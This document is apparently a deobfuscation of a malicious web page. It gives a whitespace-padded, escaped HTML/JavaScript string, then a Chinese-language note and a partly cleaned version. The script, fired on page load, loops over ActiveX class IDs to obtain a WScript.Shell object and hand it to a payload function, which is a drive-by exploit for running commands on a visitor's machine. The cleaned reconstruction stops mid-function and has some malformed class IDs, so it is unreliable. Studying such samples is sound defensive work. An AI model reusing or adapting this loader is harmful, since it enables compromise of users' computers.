\r\t\r\t\r\t  \n\r\n \r \t\r\t +\r\r\r\r\r\r\r'6'\n \r\n\r\n\t\r \n\r\r\r\r \t\n+\t\r \r\n\t\n  \t\r\r  \r\r\t\t\n\n\n\r \n \t \n\n\r\n\t \t \n\r \t \t\n 'C'\r \t \t\t\n\r\r\t  \n\n\t\n\n\t\t\t \n\n\t\n\t\n \n\t \r+\n\r \t\t \n  \n\r \n\t'0'\r\t\t\t\n\t\t+\r\t\t\r\r\r\n\t\n\t\t\n\r\t\r \t\t\r'7'\n\t \t\r+\r\t\t\n\n\t\n \n\t\r\t\r \n\n\t\t\r\r \t\t\t\n\n\n\r\n\t\n \r\r\r\r  \t\r'C'\n\r\r\n\r \n\t \n\t\t\t \t\n\r\n \n  \n   \n\t\n\r+\n\n\n\r\t\r \t \r\n\r\r\r\r\t \r\n\n\r\n \r  \n\t\t'9' \r\t\n \n\r+\t  \t\n \n\t\r\r\r\n\n    \r \n\r\r\n\t\r\r\t\t\n\r\n\r\t  \n \r '6'\n\r\n\r \t\r\t \t\n\r \n\t \r\r\t\n\r\n\t\t  +  \t\r\n \n\t  \t\t\n\r\r\n\t  \t\t\n\n\t\t\r\t\t\n\n \r\t\t \r\n\t\n\t '2'\t\t   \r\t\r\r\t\n\t\t  \t\r\t\n\t  \r\t \n  \n\n \r\r  +  \t\t\n\r\t \t\t\r\t\t\t\t\r\n\n\t\n\n\n \t\t\n\n   \r\t\n\n\t\t\r\n\r\t\t\n\t \n\t '4' \r\r\t\n\t\n\r \n\n \n\r\r\n\r\t\r\t\n\r\n\n\t\r\r\r\r\r\n\r\n   \r\n  \t \r\t\t\n+\r\n\n  \n\t\n\t \n\r \r\r\t \t\n\r\n \r \t\r\r \t '7'\r\r\n \t\r\n\t\n\n\n \n\n\r  \n \r \n\r\r\t\n\t\t\t\n\r\t\n\r\t+ \n\t   \n \n\n\t'6'\t\t \r\t\n\t\n\n\t\t\r  \r \t \r\n \n \n \n\t\r\r\r\n\r\t\n\n\t\n \t\t \r\n  \t\t+\t\n\n \n\r\n  \r\t\n\n\t\n\t\n\n \r\t \n \t\r\n\t\t\n\t\r\t\r\t\r\n \r\n\t  'B'  \r\t\n \n\n\r\t \n\t\n\n\n\n\r\r\t\r\n\t \n\n  \r\r \r\r \n\r\r\n\t\r+\r\n\r\t\n\n\n \t\r\r\n\t\r\r\r\n\t \r\t\r  \r\n\r\n\n\r\t\t\t\r\t\t\r \n\r\n\r \n\n '}'\r\n\t \t\t\r  \r\t\n \n \n \t\t\t \n\t\t\r\t\t\n \r  \n \t\t\n\r \t, \r  \r \n \r\t\t  '{' \t\n\t  \n\t\n\t\n\t\r\t \t\n  \r\r+\n\r\t\r \t\t\r\r\t\t\n \r\r\t \t\r\n\t \t\n \r\n'A'\r\n\t\r \n \r\t\r\t   \r\r \n\t\n+\t\n\n\n\t \r\t\t\r\t\t\t\r\t \n\t\t'B'\r\r\t\t \t\n  \n\t\n\t\n\t\r \t\n \r \r\t\r\r \n\n +\r\t  \n\r\t \r  \n\r'9'\n\t\n\t\n\r\t\t  \r\r+\n\n\n \t\t  \r\t\n\r  \r \t\t\r\r \n\t\n \n\t\t\t\n\r \r'B'\r\t  \r\t\n\r \n \r\n \r\t\r\n\r\n\n\r\t\n\n +\t \t\t\n\n\t \n\r\r  \n\n \n  \t\r\t\t\t\t'C' \n \r\r\n\n\r  \r\t\n\r\t\n \r \r\t\t\n\n\r \n\n\t\n\n  \r\t\r\r\n\n\n\t \r\t\t+\n\t \r\n\t \t\n'E' \n+\n\n\r  \t\r\t\t\t 'D'  \r  \t+\r\r\n \r\r\n\n\r\r\r \t\r \n\r\t \t \t   \r\t\n\n\n\n \r\r\r\n\r\t\n'D'\r\r\n\t\t\t\t\t\t\n\r\r+\r\t\r  \n\n   \t\r\t\r \r\n \t\n\t\t\n\n  \r\t \t\r\r\n\t\t'-'\t\n\r\r\t\t\n\r \r\n+\n \r\n\n\t\n\t \t\n \n \r\n \n\t\n\r\t\r\n \n\t  \t \n'E'\n\r\r \n\r\n\t\r\n \t\t\n\t \n\r\n\n\r +  \t\t\t\n\n\t\n \t\t\t\t\r \t\t\r\r\n\r  \t\n\r\n\r\r\n \r  \n\r\n \r\n\t\t\r'C' \t\r  \n\t\t\t\t\n \t\n\r\n\n\r \n  \t  \r\t\t \n\n\r\t\r\t\r\n\n\n\n\n\r  \t\t+\r \r  \t\n\n\n \n\n\n\r'7'\r\n\r \r  \t\n \r\r\t \r\r\n\n\r\t\r\t \n\n\n\t\n\n\n   \n\r\r \t\r \n\r\n\t\t\r+\r \r \n\t\n \n\n\t\n    \r\t\n\t\t \r\n\r\r\n\n\r\r \n\t\t\r 'E'\t\r\r\r\t\r\n\t\t\n+\n\t\r\n\n\r \n\n\n\r'-' \n\t\n\t\r\r\t \n\n\n\t \n\r\r \r\t\r\n\t  \t\n\r\t\t\n\t\n  \n  \n\t\r\r\t\n\r\t\r\t  +\n\r\n  \n\t\n  \t\t\t\r\r\n\r\r\n\r\t\r \r'4' \n \n \n \t\r\n\r\t\n\t\n\t\t\n\r\n\n\n \t\r\n\n\r\n  \r\t \n\n\t\n\r\n+\t\r \t \t\n\n\r\n\r\t\t\n\r\t\t  \t   \t\n\n \n\r\r\r   \n\t \n\n\t\n'7' \t \n\r\r \r\r\t\t \n \n\t\n\r\n\n\n  \r\t\t\r\r\r \n\r\t\n\t\r\t\t\r\n\r\r\t\n\r\n\t\n\r\n+\t\r\t\t\n \t\n\r \r\r   \r\t\r\n\t\n\r \t\r\t\t'E'\n\n\r\r \t\n\n\t\t\r\n\r\n\n  \r\t\r \n\n\r +\n\t\n\r\t\n \r \n\r\r\r \t\t \n\n\t \t\n\t\t\n\r \t\r\n\r\t\t\n\r\t'1'\r   \n\r +  \t  \t\t \t\r\r \n  \n\t\r  \r \t  \t\t\t\r    \n\n \t\n\r '-'\r\r\r\t \n \r\n\t\r\n\n\t\n\r \t\n+\t\n\t\r \t\t  \r  \r\n\n\t \t\r\t\r\n\r   \n\t  '9'\t\t\n\n\r\n\t\t\r\r\r \r \r\t\n\n  \t\n\n\t\r\r\n\r\r\n\t \t\t\t +\r\n\t \r\t\n\r \n\t\n\r \r\n\n    \t\n\t\n\r'3'\r\n   \r\n\r\n \r\n\n  \r \t\r \t\t\r\r\t \n \n\n \r\n\r\r\t\r\n \t\n\n\t\n\r\n\n\t\n\r+ \n \n\t\n\n\n  \t\t\t\n\t\r\r\t\r \r\t \n\t\t\n\n\t\r \n\t\t\r\t\t\t \r  \r\n'2'\r\t  \n\n\t \t+\t\t\t    \r\t\t\n \t\n '2'\r\r\n\n\t\r\t\r\t\t\n\t\r\t\t\n\r\r \t\n\r \n \r \r\n\r\n\n\n \n\n+\n\n  \t\t  \t \n\n\r\r \t\t\t\t\n\r\t\r\t\n\t\n\r\n \r \t'-'\n\t\t \r\t \t\r\n\n  \r\t\n\n \r\n\n \r    \r\n\t\r\r\n\r\t\t\t\n\r\n\r \r\n\r\n+\t\n\n\t\r  \r\n\t \r\n \r\n\t\r\t\t\n\r\t \n \r \t\t\n\t \t\n'D' \t \n\t\n\r\r\r\t\n\r\n\n\r\n\t\r\t+\r\n\t\n\t\t\n \n\r\t\t\t\n'4'\n\n \t\r\r\n\t  \t  \t\t\t\r\t\n\t \r\r\r\r\r\n  \n\r\n\t\r\r\n\r\t\t+\t\t\r\t\t\r\n\r \r    \n\t\t\n\r    \r\r\t \r\r\n\r\r\r\n\r 'A'  \r\r \r\t \t\t\r\t\n\r \n\t\t\n\r \n\n\t\r\t\n \r\n\t\t \t\n\t\n\r\t\t\t  \n+\r\n\r\r \n \t\r\t\r\r\n\n\n\t \n \t\n \t \n\n\n\t\t\t\t\n\r\n\n\r\n\t \t\r'2'\r \r\n\t \r\n \n+\n \n\t\n\t\t\n \t\r\n\n\n\t\t\t \t\n \r\n\t\r'1'\n\t\t\r\n\n \n + \t\r\n\n\n\r\n'0'\n\t\n\t\n \n\t\t\r\r\r \n \t\r+\n \t\r\n\t'6'  \t\t\n\n+ \n\r\t\r\t\t  \n\n\n\t\r\t\t\t\r\n\r    \n\r\n'1'\t\r \n\n\n\r\n\n\r \n+ \r\r\n'7'  \n\r\n\t\n\r\t \t\t\n\n\n \t\t\r\r  \t\r \t\t\t+  \t\t\r\n\r\r\t\r\r\n\n\r \r \r\r\n \r \r \t \t'1'\t \r \n\t\t\r\t \r\r\n+\n\t\t\t\n\r\n\r\r\t \r\t \r\n\r \t\t\r\r\n  \n'1'\n  \r\n \t\t \n\t\t\t \t\r\n\t\n\t \r\t+\n\n '6' \r \n  \t\n\n\t\n\t  \t+\r\t\t\n\r\n\t\r'}' \n    \n  \r\r\n \r    \n \r\r ,\n \r\r \n\t \r\t\n\n  \t\r\r\r '{'\n\r\t \n\r\r\r\n \t\t +\r\t\r\t\n \n'0'\r\t\t\t\r  \n\t \n \n\n  \r\r\t\r \t \n\r\r\r\t \t+  \r\n\n\t\r\t\t\t \r \r\r  \t   \t\r\r\r\r\t'0'\n\n\t \r\t\r \n\n \t\n\t\t\t\r\t  \n\r\n\r\t\t\t \r \t\n\n\t\r\t \n\t \t\t+\n\r\r\n\r \n\n\t\t\r\n\r\t\r\n\r\n\n \r\r\n  \n \r  \n\t\t\r\n\t\r\n \n\r\t \n  \n\t'0'\r\n\n \n \n\r\r\r\t\t \n\r  \t \r\r \t\t\n \n\r\t+ \t\n\n\r\t'6'\t\r\t\r\r\t+\t\n'F'\n\r   \r\t \r\t\r  \t\r \n \n\t \r\n\t\r\n+\r   \t\t\n'0'\t\n\t\n   \r\r+\n \r\n\r\n\r\r\t \n\n \t\t\t    '3'\t\r\r\t\r  \t \t\t\t\t\t\t\n\t\t\t\n\n \n \r  \n\n\r\r\n\t \t\t\r  \t\r \n\r\n\n \t\n\r\n+\n\t \n\r\r   \r\n\t \r \r\n\r\t\t\r '3'\n\n\t\n\t\n\t\n \t   \t\r\r\t\n\n\n\r\n \r\t\n\t\t\r\n\n\n\t+ \n\n\t \n\n \n\n\n\r\n\n\t\r\t\r \t'-'\r \t  \n\n\t \n\n  \r\t \r \n\t\r \t\r\r+  \t\t\n\r\t '0'\r\r\t\r\r\t \n \n\n \t\n\t \n\r\r\n\t  \n\t+\t \n\r\t\r\r\n \r\r\r\n\r\n\r\n \t\t  \t\t\t \t \r \t\r \t\t\r \n\r\n\t'0'\n +\n\t\r\r\t\n\t\n \n\r\r \r \n \n\t\n\t\r\n \t   \n\r\n \n \n\n\r\t\r '0'\r \n\t\r\n\t\n\n\r \n \r \n\t \t \r\n\r\t\r\t\t\t\t \t\n\n \r\t\r  \n\t\n+\t\n  \t\t\r\n\t  \n\r \n\t\n  \t'0'\t\n\n  \n\t  \t \n\n  \r\n+\r\n  \t \r\r\t\t\t\r\t\n\t \t\r\t\r\r '-'\t \t\n\n\r\r\n\r \n \t+\t\r\t\t \t\n\t\t\n\n\r\t\n\n\r\r \r\r   \n\t\n\r\t\r \t  \n\n\t \r \r\n\t\t \n\t\r  \r'0'\n\t\n\t\r\t\r\r \r+ \r  \t\r\n \n\t\r\r\n\n\r\n\n    \r\t\r \r \r \r\n \r\t\t\r \r\t\n\t\r\t \n\n \t\t'0'\r\t\t\r\t\n\t\n \r\t \r\n\n \r\r\r\n\n\n\t\r\r \r \n\t\r\n\r\t\t\r\t  \r\n  +\t \n\t  \t \r\n\r \n\r\t \t'0'\t\n\t\r\r\n\r\n\r+\n\t\n  \t \n\t\t\t\n\r\t\r\n \r \r\r \r\n \r\t \t\t \r\t\n\t\r\r   \t'0'\n\n \r\t\n +\n\n\r\n\t\n\t\r\r\n\t \t \r    \n\r\n\r\n\n\r\t\t '-'\t\r\n  \n\r\n \r\t \t  \r\t  \r  \r\n\r\n\r \r\t \t  \r\r\r\r+\r\r\t\r\t\t\r\t\t\n\t \r\n\t\r\r\r\r \r\t\n\r\r\t\r\n  \t\t\r\r\r \r\n'C'\t\t\n\n\n\n\n\n\t\n\n\r\n\n\n\n\r\n\n\n\r+\n\r \t \n\n\n\t\r\t\r \r \n \n\r\n  \t\r\t \n\r\r\t\n\n'0'\t\n \n\t\r\t\t \n\t\t\t\t\r\n+\n \r\n\t\r\n\t\n \n\r\t\t\n\n\t\r \n\r\r \t\t \r\n\t'0'\t\n\n\r \t\t\n\n+ \n \n\n \t \r\n\t\n\t\t\t\n\n\r\n\r \r \n\n\n\t\n\r\r\r  '0'\t\t\r  \r\n\r\t\t \t \r\n\r\n\t \t\r\n \t\r\r\t\r\r\n\n  \t\n\n\r\t\n\t\r\r\t\n\n\r \t\t\t+\r\n'-'\r\t \r\r\n\t\n \r\n\n\t \t \n\r\n  \r \n \t\t  \t   \n+\t\t \n\r \t\r \r \t  '0'\r \r \t\t\n\n \n\n\n\r\r\r\r\r\n\t +\t\r\r \t\r\r '0'\t\t\t\n\t\r\r\t \t\t   \t\t\t \t\r\t  \n \r\t\r\t\t\r\n\t\n\t\t\t\n\r\r\r  \n +\t\t  \r\t\n  \r    \n\r\n\n \n '0'\t\n \r \n\r\r \n\r\r\r\r \r \r  \t\t\n\t \n\n\n\t\n\t\r \n\r+\r \t\t\t\t\t\n\t\n\t\n \r\r\r \n\n\t\t\n\t\r\n\t\t\n\n\r\n\t\n \n\n\t\n\r\r\r\n\n\n \r\t  \n '0'\t\n    \n\t \n\t+\t\r\r\t\n\n \n\n\r\r\n\n\n \r \n\n\r\n  \r\t \t \t\n\r\t \r'0' \t \n\n\r\r\r\n   \t \n \r\r\n\n+ \r\n\n\t\r\n\r\t\t \r\r\r\n \t\r\t\r\t\n\n\t\t\r'0'\r \r\r\r\n\n+ \t\t\r \t\t\r\r\r\t \t \r\t \n\t\t \n\n\t  \r \n  '0'\r\t\n \t\n\n\n\t\n\r\t\r\n \r \t    \t\t\t \t\r \t\n +\r\n \r\n\r'0'\n\r\t \t \n\r\n\n\n\n\r\n\t \r\n\t \n\n\n\r\n\n\n+ \n\t \t\t\t\r\t\t\n\n\r\n\t \r\r\n\t \n\r\r\r\r\n\n\t'0'\r\n\n\r \r\t\t \t\n\t \r\t\r\t\r\r +\r \n\t\n\n\n \r\r\t\t\n\t\r \t\r\n  \t\r \r\n\n\t\t\r \r\n\t\n\t\n\r\r \r\t \t\r\r\n\n\t'0'\t\r\r\r \n \n\r\r\r  \t + \n   \t\n\r\t\t \t\t\r \t\t\r\r\n\r\n   \n \t\n \r\t \t\r\t\r\r\n\n'4'\t\r \r \t  \t\r\r\r \r\n \n   \t\t\r\n\r \n\n \t\n\n\r+\n\r\n\t\n \n\t\r\n\r  \t\n\r\t\t\n\t\t\r\n'6'\r\r \r\r\r\n\t+\r\n\n\r\n\n \t      \n\r \t'}'\t\t\n\n \t\r\r\r  \n\r\r\t \r\n,\t\n\n\r\t \r \r\n\n\t \n\r\t\n\t\t \t\n\n\t \n\n \n\r\r \n\n\t\n\r\t\t\t'{'\n\t\t\r\n \r\t\n\r\n\n+\n \t '0'\t\r \r\n\t\n\n\n\t\t\t \t\n\t + \t\n\t\r\n \t\r\t'0'  \r\r\t\t\r\n\r\n\n\r \r\t\r\r \r \r\t\r \t\n  \n\t\r \r \n \t\n\t \r\t+ \n\t\r\n\n\n\r\r\t\t\t\t\r\n \n\r '0' \r\r\r\r\t  \n \t \t \t\n \r\r\r+\r\n \t\t\r\r\t\n\t\r\t  \t\t \r\r\n\t\n\r   \t\t\t\n \t\r\r\r\t\r \r\r\n \t\n\t\n\n\r \r'6'\n\t\n\r\r+\t\r  \n\r\n\n'F'\r  \r \r\r\r  \t\n+\r\r\n\t\t\r  \r    \t \t \n\n\n\r\n\n\t\n \r \t\r \n\n\r  \n\r\t  \r\t'0'\t\r \t\r  +\r\r \t '3'\n\r\t\t\n\t \t\t\r\t\n \n\r\n\n\t\t+\t\t\t\n  \r\n\r\r\r\t\n\t'A'\r\n \n\t\n\t\r \n\n\n\n  \r\r+ \t \t '-' \r\n+ \n \n   \r\t'0'\r\n+ \n\t\t\r\n\t\r\n  \t\t\n \r\n\t   \t\t\r \n\t\r\t\n\n \r\t \t\t\r \r\n'0'\n\t\n   \n +\n   \t\t \t\r\t '0' \n\t \n\r\t \n\r \n \t\r+\r \n\t\t\t\t \t\t\n\n\t\n\t\t  \t \r  \r \n\t\r   \r\r\n\n \n \n\n\r\r \r\n  \r\n'0'\r\t\r \r\t \t\t\n\n\t\r\n \n\r\t \t +\r \n\t\t\n\n\n \n\n\n\n\n \t\t\n \r  '-' \n \n\t\r\t \t\r\r\r \n\r\r   \t\n \r\n \r\n\n\n\n\n\r\t\t\t\r\n\n\r+\r \n\r\t\n\r\r \t'0' \r\r\t  \n\n   \t  \r\t\t\t\n\n\t\n\t\r\n\r\n\r\t\r  \t\r\r\r\r \n+ \n\r\t\n \n\t\n\r\n\t\n\t \t\t\r\n\t\n\r\t\t \r \t\n\n\n \n \t\n\n\r\r\r \r\t \n\t\r\r\r'0' \t\t \n \t \t \t \n \r\r \n\t\n\r\n\t \r\n\n\n\n\r\n\t\r\t\t   \t\r\n\t \r\r\n\r\n\n\r\r+\t\n\r\r\t\t\n\t\t\n   \r\r\r\t\n\t\r\t\r\t\n\r\t \r\r\t\t\n\t \t\t\r  \r\r\t\n'0' \r\n\t\n \t\r\n \n\r\t +\r  \t\n\n \r\r\r\n\t\r \t\t\r \t  '0'  \r\t\t\n+ \n\n \n\t\t \n \n\r\r \r\r\r\n\r \t \r\t\t    \r \r\t\r\t\r\n  \r\n\n'-'\n \t\r\n\r  \r\r\t \t   \r\r\n\r\t\n\t \r \r\t\n\t\n\n\n\r   \r\t\n\r\t \n\n\r+\r\t\r\n\t\t \n \r\t \n \n\t \n\t \r\t \r\t  \t\t\t\r 'C'\t  \r\r \r\r\r+\n\t \t'0'\n \r\n\n\r \t\t\t \n\n\n\r    \t\n\r\n\t+ \t \r\n     \n\r\r\n\t\t\n\t\r\n'0'\n\t\r\n\t \t\r\n \n\n\n\n\r\n+  \t \r\t\t '0'\t  \r\n\n \r\n\n \r\t\n \r+\r     \t \t \n\r\t\n'-'\n \t\t\r\t\r\n\n \n \r \r\r\n\n \r\t \n\t\t\t\t\r  \n \r\n \t\t\t\r\n\t \n+ \n\t \r\t\t \r \r\r\n\t '0'\r\t\t\t\t\r\r\t\n\n\n\r\t \t\r\t\t\t\t\n\t\t+\n\r\r\n\t\n \r\r\n\t'0'\t \t\t  \n\n\n \t\t\t \t \n\t\t\t\r \r  \n\n+\t\n\t\t\r\r\n\t\r \r\n\n\r\r \r\r\r\t\n\t\t\r\r'0'\r\r \r\t\r\r\n\t\t\r \n   \t \t \n\n\n \r\n \t\t\t\r\n\r\n \t \t\r \n\n\t\t\n\n\n\t+  '0'\n\n  \n \t\r\r\r+\n\r\t\t\n\n \t\r \r   \n \r\n \t\n \r\n\t\r\r\t\r\t \r   \n\r\n\n\t\n '0'\t\n\r \n\r\t\t\t   \r \t \n\r\r   \t \t\r\t\t  \r \n\n\t\n\t\n\r\r\t\r\n\n\n\n\r\t \r\n+\r\r  \r\n \t\r\n'0'\n\r\n\n  +\n\r\r\t\n\n\r\t  \n\r\t\n \r  \t\r \r\n\r\r \t\t\r\r '0'\t\t\t\n\r\t\t\n\t \t\r\r\r\n\r\n \t\n  \t\r+\t \n\r\n\n  \t \r\n\n'0'\t\r \t+\r\r\t\t '0'\t\t\n\n\r \t  \n\r\r\r \t\n \t \n+\n  \n\r\r \r\r  \t\n  \r\n\n\n\r\n \r \t \t\r\n  \r\t\n\t  \r\n\t  \t\r\n\r\r'0'\r\r\n\n\r\r\r\t  \t    \t\n\n\n\r\t\r\r \t\n\r  \n \n\t\t+ \r\r\t\r\t\r\n\n\t \n\n\t\t\t\t\r\t  \n\n\n\t\r\t'4'\t\t\n \t  \t \r\t \n\n  \t \t\r\n\t\n\t\r\r\r\t\t\n\n  \n \n +\n\n\n\n \r\r\n\t\n \n\n \t\r\n    \n\r\r\r\n\r'6' \t\r\r \n \r\r \r\r\r\t\n\n+\r\t \r\n \r\t'}'\t \r\r\n\n\n \r\t \r\n\n \n \n\r,\n\t\r \n\n\r\t\r\n \n\n\n\n\n  \n \t\n\t\r \t\n\r\r\n\t \r \t \t null\n\r\n\r \t\t\t\t \r\n\r\t\r\r\n\r\n\r\r\n\t);\n\r  \r\r \n\n\r\n\r\t\r\r\n\r\t\n\t\n\n\t\t \n\t\nwhile\r \n\t\r\n \r\n \r\r \n \r(t[i]) \r\r   \r\r\r\r\r\n\r \n  \n\n\n\r\r {\n\n\n \n\r\r\r\t\n\r\n \t\n\t\n\n  \n\n \t\n\t  \t\r\r\t \t\r\n\n\t\t\r\t\n \t \nvar \t\n\n\t\t\n\r\r\t     \r\r\r\t\t   \t\r\n  \n\r \r\r\r\r \ra\r\n\t  \t\r\t\r\r\n\t\r\t \t=\n \r\t\t \n\n\r\r \r\r\n\r\t\t \n\r\n \r\n\t\n\n\n\t\r\t \t null;\r  \r\n\r \n \n\r \n    \n\n\r\n\t \n\r\n\r\n \n \n if\n\r  \n\r\t\r\n \n\n\r\t\t\t  \r\t\t\t\n\t\r\r \t\t\r\r\n\r\r\t\t\r\t \t\n  \n\r(t[i].substring(0,1)  \n\r\r \r \t\t \r\t\r\n\t  \r\r\r \t\t\n\n==\n\t \t\t\t\r\r\t\r\n'{')\n\r\n \n\n\t\t\t\n   \t\n\n\r\t\r\t \n\t\n\n{\t\r  \n\t \r \t\r\t\t\t\r\t\t  \n\na\n  \n\r \n\t\t\n\n\t\t\r\t\t\r\r\n\r \r\n= \n \n\r \r\n\r\n\r \r\r\t\r\n\n\t \r\r\r\n\n\r\t\t\n\n\t  \n\n\t\ndocument.createElement(\"object\");\t\r\n\r\t \t\n\r\n\t\t\n\n\r  \t \t\n a.setAttribute(\"cl\"\n\n\r   \t \n\r\r\r\t \t\r \n+\n\r\t\t\t\n \r\t\r\n \"as\" \r\t\r\t \n  \t\t\r\n\n\n\t\r\t  \t\n\n +\n \n\n\r\r\n\t \t \r\t\n\r\t \n\r\n\t \r \n\t\r\n\t\r\n\t\t\r\t\t\t \t\"sid\",  \t\t\n\r\t\n\n\r\t\n\r\n\r\r \t \t \t  \t\r\r\t\t\n \r   \t\n\r\t\n\r \r \n\t\r\n\n\"cl\"\n    \n\n \n  \t\n\r \n\r\r  \r\t   \t\n\t\n\t\r\t\n\n\t \t\t\n  +\n   \n\r\t\n \t \r\n\n\t\r  \"s\"\n\t \t\n  \r\r\n\t\t\r  \n \t\n\t \r\n\t\t\t +     \n\r\r    \"id\" \r \n \t\n\r\t\t\t\n\n\n\r\n \t\r\n \t\t \t\t \n\n\r\r\r\r\n +\":\"\t \t\r\n\t\t\n\t \t \t\t\t\t\r\t\r\t \r \r\n\n\r\t\n\r\n \r\r\n\r\n \n+\n\n\n\t\r\t\r\r \r\tt[i].substring(\t \r\t \n\n\t\r\n\n\r\t\n \t\n\t\t1,\r\r\n\t\n\t\t\t\n \n\t\r\t\r\n \n \n\r\r \r\r\n  \r\n\r\r\r\r\n\r\n   \n\t\t\r\n  \tt[i].length \r\t \n\n\n\t\r  \n \n\r  \r\t \t\r\r   \t\r\t \r\n\r\r\n\r\t\t\t-\t  \t\r \r\t\r\n\n\n 1 \r\r\t\n   \t\n\n  \n\r \t\n\n  \r \n\t)\t\n\r\t \r\r\n\t\n\n\n   \r\r\r \r\n\t\t\t)\r \n\r\t\r\r\t\r\r \n\t\t\n \r\n\t\t\r\n\r \r\t\t\r\n\t ;\r \n\r\n\r\n\r\r}\t\t\t\n\t\r\n\r \n \t\r\r\t   \t\n\relse\t\n\n\r \t\r\t\r \t\t\n\n{\t\t\r\t\r\n\n\t\r\t \t \r  try\n\r\t \n\t\r\r\r\t\n\n\t \r  \r\t\t \n\r \r  \t \t\n \n  \t  \n\n\t \t \n\n\t \r\r{\t  \r\t\t\t  \r\t \r\r\n \n \n\n\n \n\t \t\r\r\t\n\r\n a\t\r\r \r \r \t\t \r\t\n \n\n\t\t \t\r\n\n\t\t\r\t\r\r\t\r\t\r\r \n\t\t\r\t\t\t\t \r =\n\r\t\t\t\n\n\t\t  \t\t\t\n\r\n\n\n  \r\r\n\n\t\r\t\n\t\t\t\t\r\t\r\r\t\r  \r\t \n \nnew\t\rActiveXObject(t[i]); \t\n\t\n\r\t\t\r\t\t\n\n \n \r\t\r\r\r} \t\n\t\t\t\r\n\n  \n\r\n\n\t \r\n\t\tcatch(e){}\n\n\r\r \n\r}\r\n\n\r\n\t \n\n\t\n\n\r\r\n \n\n \n\n \t \r\n\r if \r\t  \r\n\r\n\n\t\t(a)\n\n \r \r\t {\n \n\n\r\n\t \n \t\t\t\t\t\r\n \r\n  \r\n\r\r\n\r\t\ntry \n\r \t\t\t\r\n  \r\t\t  \t\n\n  \r\r \t\r \r\r\r\n\n\r{\n  \t\n \n\n\r  \t\nvar\t\t  b \r\n\n\n\r \n\t\t\r \t\t\r\r\n\t\t\n\n\t\r=\r  \n \t   \r\t\r \n\r\r \n\r\n\r \r\r\t\r\r\r\n \r\t\t\t\t\t\r  \t \t\n\t\tQhUF( \t\n\t\n\t\r\r\n\n\r\n\n\r\t\r\n\t\r\r\n\r \t\n \t \t\n \n\na \r \t \n\t\t\n\t\n\t\n\r\t\t \r  \t\t\t\t \t,\t\n \r \t\r \n \r\r\r \n \n \r \n\r\"W\"\n \n\t\n\r\r\r\t\r \n  \t\r\t \t\r\n\n\r\r\t\r \t\r\t\t \t\r+ \r \r   \r\t  \r   \n\r \t\t\t\t \n\t\"Sc\"\n\r \r\n \r\n\n\r\t\t \n \t\t\r\r\n\n  \r +\r  \t \r\n\r\r \n\t\t\t \n\t\n\n \r\t\r\t\n\r\n\r\r\n\r\t \r \n\t\n\r\"ri\" \t\t \t\n\n\n\t\r\t \n\t\r \n   \r\t\r\r\t\t\n\t \n\r \r\r\n\t\r  \r+  \"pt\"\n\t \r\r \r+\n\t\n \t\r\t\t\r \r \r\n   \r\n\n\t\r\n\n\n   \n\r\r\t\r\r\t\r\r\r\r\n \t\r \t  \r\r\".S\"\t \n\r\r \t\r\t  \r\t \n\r\n+ \r \n\n\t\r\n\t\n\n\r \t \t\t \t\r\r\"he\"\r\t\t\t\n\t\n\r\n\n\r\n\t\r\r\t\n\r\n\r\n\n \n\n \n\t\t \t\t\n\r\r+\t  \t \r  \n\n\n\n\r \r\n\t\r\t\n\t\t\r\n\t\t\t\n\t\n\t\"ll\" \r \r\t \n\r \t\n\r\r\r)\r \t\t\r\t\n \r\t\n\n \n\r\r \t \r\t\n\n ;\r\r\t \n\tif\t\r\t\t\t\n\r\n  \t\r\t\n\t\t(b) \r \n \n\r\t\n\n\n\n\t\r{\t \n\t\t\t \t\nNbLEeFzmiSvafUBuC(\t\r\t\n    \r\r \n\r \n\r\r\n\t \t\na  \r  \t\n\t \t\n\r  \n\t\t\t\n\r\r\t\t \n\t\n \r\r\r  \r\t \n\t\t\n \r\n\r)\n\t\r\t   \t\r \n; \t\n\n\r\n\nreturn(0)\n \n\n\r\n\t\n\t\n\r\r\t\t\t\r\t\t\t\r \n\n\t\n  \r\r\n\n\r\r\n   \t;\r \t\n\n \t\n\r \n  \n\r\t\n\t\t\t\t\n\r}\r\t\r\r\t\t \t\n \n\n\n\t\t \t\n \r \n\n} \t\n\n\t\t \r\t \r\n  \t\r\r  \t\t\t\n\t\t \r\t\rcatch(e){ \t\r\r\t\r\t\n\t \n\r\n\r \t \t \r \r\n  \r}\n\t\r\r\r\n\t\r  \t\t\r\r\n\t   \r\t\r\n\r \n\r\t\t\n \n \r\n\t\t\r\t\r\r\t \n\t\n\r\n\t}\t\n\n\n\n \r\n\n\n\t\t\t\t\n\t \r \t\n\r\n\t\n\t\ri++; \t \n\n\n\n\t\n\r\n\n\t  \t\n\n\t\r \t\r \n  \t\r\t \t\t \t\t\n\n\n \n}\t\r \n\r   \t\n\n \r\r\n\t\r\t\n\t\t\n \t\r\t\t \n\n} \r\n\r \n\n\t \n\r\r</script>\r \n\r  \r \r\n\r\r\n\t\r\r\n\r\t\n\t\r\n \n\t\t</head>\t\n\t \t\t\t\t  \n\t\n\t\t\n \r \n\r\t\t\r\t\n \t\r\n\r \t\n\n\n\n\n \r\n  \t\t\t<body \n\t  \n \r\r\n \t\t \r\n\r\t\r \t \r\r\r\r\r \t \r\n\n\n  \n\r\n\t\n\tonload='AHTKySCxvSuPEWesneMqGA()'>\r\t\t \n\t\r \n\n\r \t\t\t\t\t\t\r \n\n\r\n\t\t\n\n \t \n\rMjGZWLXEDvFel\t\n\r</body>\t\r\r\t    \n\t\r\n \n\t\r\n\r\n\r\n \n\n\n\n\t\t \r\r \n \r\r\r\t\n \t\r\n\r \r</html>\n\t\t\t \n\r\t  \n \t \n\r\n\t\t\r \t\n \n\t"

在去除大量的\t以及\n后得到的结果如下

<!DOCTYPE html>
<html>
<head></head>
<body onload='AHTKySCxvSuPEWesneMqGA()'>
<script>
// 混淆数组 t,包含 CLSID 和 ActiveX 名称
var t = [
    '{F5A1A1BF-9B2C-4C9C-96B2-47B6C9}',
    '{AB9BCEDD-EC7E-47E1-9322-D4A2106171}',
    '{0006F033-0000-0000-C000-000000000046}',
    '{0006F03A-0000-0000-C000-000000000046}',
    null
];

// 主函数(原名称 AHTKySCxvSuPEWesneMqGA)
function AHTKySCxvSuPEWesneMqGA() {
    var i = 0;
    while (t[i]) {
        var a = null;
        // 如果是 CLSID 格式(以 { 开头)
        if (t[i].substring(0, 1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
        } else {
            try {
                a = new ActiveXObject(t[i]);
            } catch (e) {}
        }
        if (a) {
            try {
                var b = QhUF(a, "WScript.Shell");
                if (b) {
                    NbLEeFzmiSvafUBuC(a);
                    return(0);
